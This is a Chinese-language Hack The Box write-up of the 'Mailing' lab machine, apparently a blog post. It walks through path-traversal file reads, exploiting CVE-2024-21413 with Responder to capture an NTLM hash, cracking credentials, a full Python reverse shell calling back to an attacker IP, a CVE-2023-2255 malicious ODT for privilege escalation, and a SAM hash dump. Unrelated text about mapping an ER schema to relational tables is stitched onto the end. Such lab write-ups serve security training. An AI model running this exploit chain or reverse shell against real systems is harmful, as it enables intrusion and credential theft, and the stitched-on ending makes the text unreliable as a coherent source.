Hack The Box-Mailing

总体思路

任意文件读取->CVE-2024-21413->CVE-2023-2255

信息收集&端口利用

nmap -sSVC 10.129.57.185

在这里插入图片描述

目标开放25、80、110等端口,这里先将mailing.htb加入hosts文件后访问80端口

在这里插入图片描述

靶机是一个hMailServer框架为基础的网页,对其进行目录扫描

在这里插入图片描述

访问assets目录,是一个存放主页照片的文件夹

在这里插入图片描述

访问download.php,需要特定的参数

在这里插入图片描述

回到主页,发现下方有一个download按钮,能够看到参数为file,点击下载后将文件修改为win.ini查看能否访问

/download.php?file=../../../../../../../../../Windows/win.ini

在这里插入图片描述

尝试读取hosts文件

/download.php?file=../../../../../../../../../Windows/System32/Drivers/etc/hosts

在这里插入图片描述

都能够读取,存在任意文件读取漏洞

任意文件读取

在前面发现其使用的是hMailServer服务,可以使用任意文件读取读取其配置文件,但是首先需要知道他的文件路径

经过搜索可知,其配置文件和路径为hMailServer/Bin/hMailServer.INI,经过不断尝试后,得到了最终的路径:C:/Program Files (x86)/hMailServer/Bin/hMailServer.INI

在这里插入图片描述

在读取出来的文件中能看到administratorpassword为841bb5acfa6779ae432fd7a4e6600ba7,将其解密,解密后结果为homenetworkingadministrator

在这里插入图片描述

想到之前存在110端口的POP3服务

在这里插入图片描述

需要通过telnet服务来访问POP3

telnet 10.129.57.185 110
USER administrator@mailing.htb
PASS homenetworkingadministrator

在这里插入图片描述

但是邮箱中没有能够利用的邮件,但是既然有了邮件服务器的凭证,想到可以通过强制访问responder来获取NTLM,这里涉及到了CVE-2024-21413 Microsoft Outlook 远程代码执行漏洞,该漏洞脚本可以使用SMTP验证发送电子邮件,绕过 SPF、DKIM 和 DMARC检查,详见以下链接

https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability?tab=readme-ov-file

CVE-2024-21413

先在本地启动responder服务

responder -I tun0 -v

运行CVE-2024-21413的POC(为什么是发送到maya用户暂时还未知)

python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.14.12\test' --subject Hi

能获取到maya用户的NTLM

在这里插入图片描述

maya::MAILING:5e0eb9256971de1f:DEBA7F01E81351DCFEDA3C905CA932E8:010100000000000080BA1036359FDA01E3495C93763B0B450000000002000800460042005600410001001E00570049004E002D003300410035005400350049004F00550048003800330004003400570049004E002D003300410035005400350049004F0055004800380033002E0046004200560041002E004C004F00430041004C000300140046004200560041002E004C004F00430041004C000500140046004200560041002E004C004F00430041004C000700080080BA1036359FDA010600040002000000080030003000000000000000000000000020000080F0D79319E6BB3D505B32F68F03892752BD8DD6272B1FBD42563DB8BA2BE13A0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310032000000000000000000

使用hashcat的5600模式破解

在这里插入图片描述

得到了maya用户的登录凭证maya/m4y4ngs4ri,因为靶机开放了5985端口,使用evil-winrm登录

在这里插入图片描述

evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri

在这里插入图片描述

查看当前用户的权限

在这里插入图片描述

此处没有能够利用的点

在当前目录下有一个mail.py,查看他

在这里插入图片描述

查看端口开放情况

netstat -ano

在这里插入图片描述

都没有可以利用的点

最终经过寻找,在program files文件夹下找到了libreoffice组件,并且版本为7.4

在这里插入图片描述

搜索发现版本存在相关漏洞CVE-2023-2255,该POC能够创建一个指定命令的odt文件,只要该odt文件能够被运行,就能够做到命令执行

git clone https://github.com/elweth-sec/CVE-2023-2255

在C:下有一个important documents文件夹,注意到该文件夹中具有管理员权限运行

在这里插入图片描述

很有可能是将odt文件放入其中,然后获取管理员shell

CVE-2023-2255

一开始的思路为:上传一个msf的payload,然后通过odt文件去执行命令再调用payload,但是目标靶机上有AV,无法进行。于是转变思路,不使用exe获取shell,使用python获取shell

#shell.py
import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.12",9100))

p=subprocess.Popen(["cmd"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

先将shell.py上传到maya用户的桌面,然后执行CVE-2023-2255的POC

python3 CVE-2023-2255.py --cmd "python C:\Users\maya\Desktop\shell.py" --output 'exploit.odt'

这样当important documents中的odt文件被执行后,就会自动以管理员的身份反弹一个shell

在这里插入图片描述

等待片刻后,拿到管理员的shell

在这里插入图片描述

将maya用户加入到管理员组中

net localgroup Administradores maya /add

使用crackmapexec进行hashdump

crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam
SMB         10.10.11.14    445    MAILING          [*] Windows 10.0 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB         10.10.11.14    445    MAILING          [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)
SMB         10.10.11.14    445    MAILING          [+] Dumping SAM hashes
SMB         10.10.11.14    445    MAILING          Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.10.11.14    445    MAILING          Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.10.11.14    445    MAILING          DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.10.11.14    445    MAILING          WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e349e2966c623fcb0a254e866a9a7e4c:::
SMB         10.10.11.14    445    MAILING          localadmin:1001:aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae:::
SMB         10.10.11.14    445    MAILING          maya:1002:aad3b435b51404eeaad3b435b51404ee:af760798079bf7a3d80253126d3d28af:::
SMB         10.10.11.14    445    MAILING          [+] Added 6 SAM hashes to the database

使用evil-winrm直接登录localadmin

在这里插入图片描述

  • 33
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
使用映射算法将 ER 架构映射到关系数据库架构。使用以下表示法表示生成的关系数据库架构:PK 表示主键,AK 表示备用键,FK 表示外键,并带有指向相应表(主键)的箭头 Book Entity (Strong) - Title (single valued, simple string) - ISBN (single valued, simple alphanumeric string), pk - Edition (single valued, simple numeric) - Date of Publication (single valued, composite concatenation of characters and numbers) - Price (single valued, simple floating point number) - Book Description (single valued, simple string) Author Entity (Strong) - Author Name - Author_id, pk Publisher Entity (Strong) - Publisher id (single value, simple numeric), pk - Publisher Name (single valued, simple string) - Address (single valued, simple string) - together the publisher name and address could make an alternate key because no to publishers can have the same name and address Customer Entity (strong) - Customer_id (single valued, simple string), pk - Name (composite one value for first, middle and last name, simple string) - Mailing Address (single valued, simple string) - Credit Card Number and Expiration Date (single value, simple numeric sequence), alternate key - Phone Number (single value, simple alphanumeric string) - Email Address (single valued, simple alphanumeric string) Shipment (strong) - Date of Shipment ( single valued, composite of strings and numbers) - Tracking Number (single valued, simple alphanumeric string), pk - Date of Expected Delivery ( single valued, compoite of strings and numbers) Order (Strong) - Order Number (single valued, simple number), pk - Mailing Address (single value, simple string) - Method of Shipment (single value, simple string) - Date and Time of Order (when the order was placed) - Total Price of the Order (multivalue, composite) Promotion (strong entity type ) - Promotion id number, pk - Percentage Discount Points (single value, simple float) - Duration of Promotion (start date and end date) ( composite attributes like the dates above) Line Item(weak entity type) - Total price for each book that is ordered (single value, two place precision float) - Quantity of each item ordered Category (strong entity) - Category ID (single value, simple numeric), pk - Category Name (single value, simple string),
06-11

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值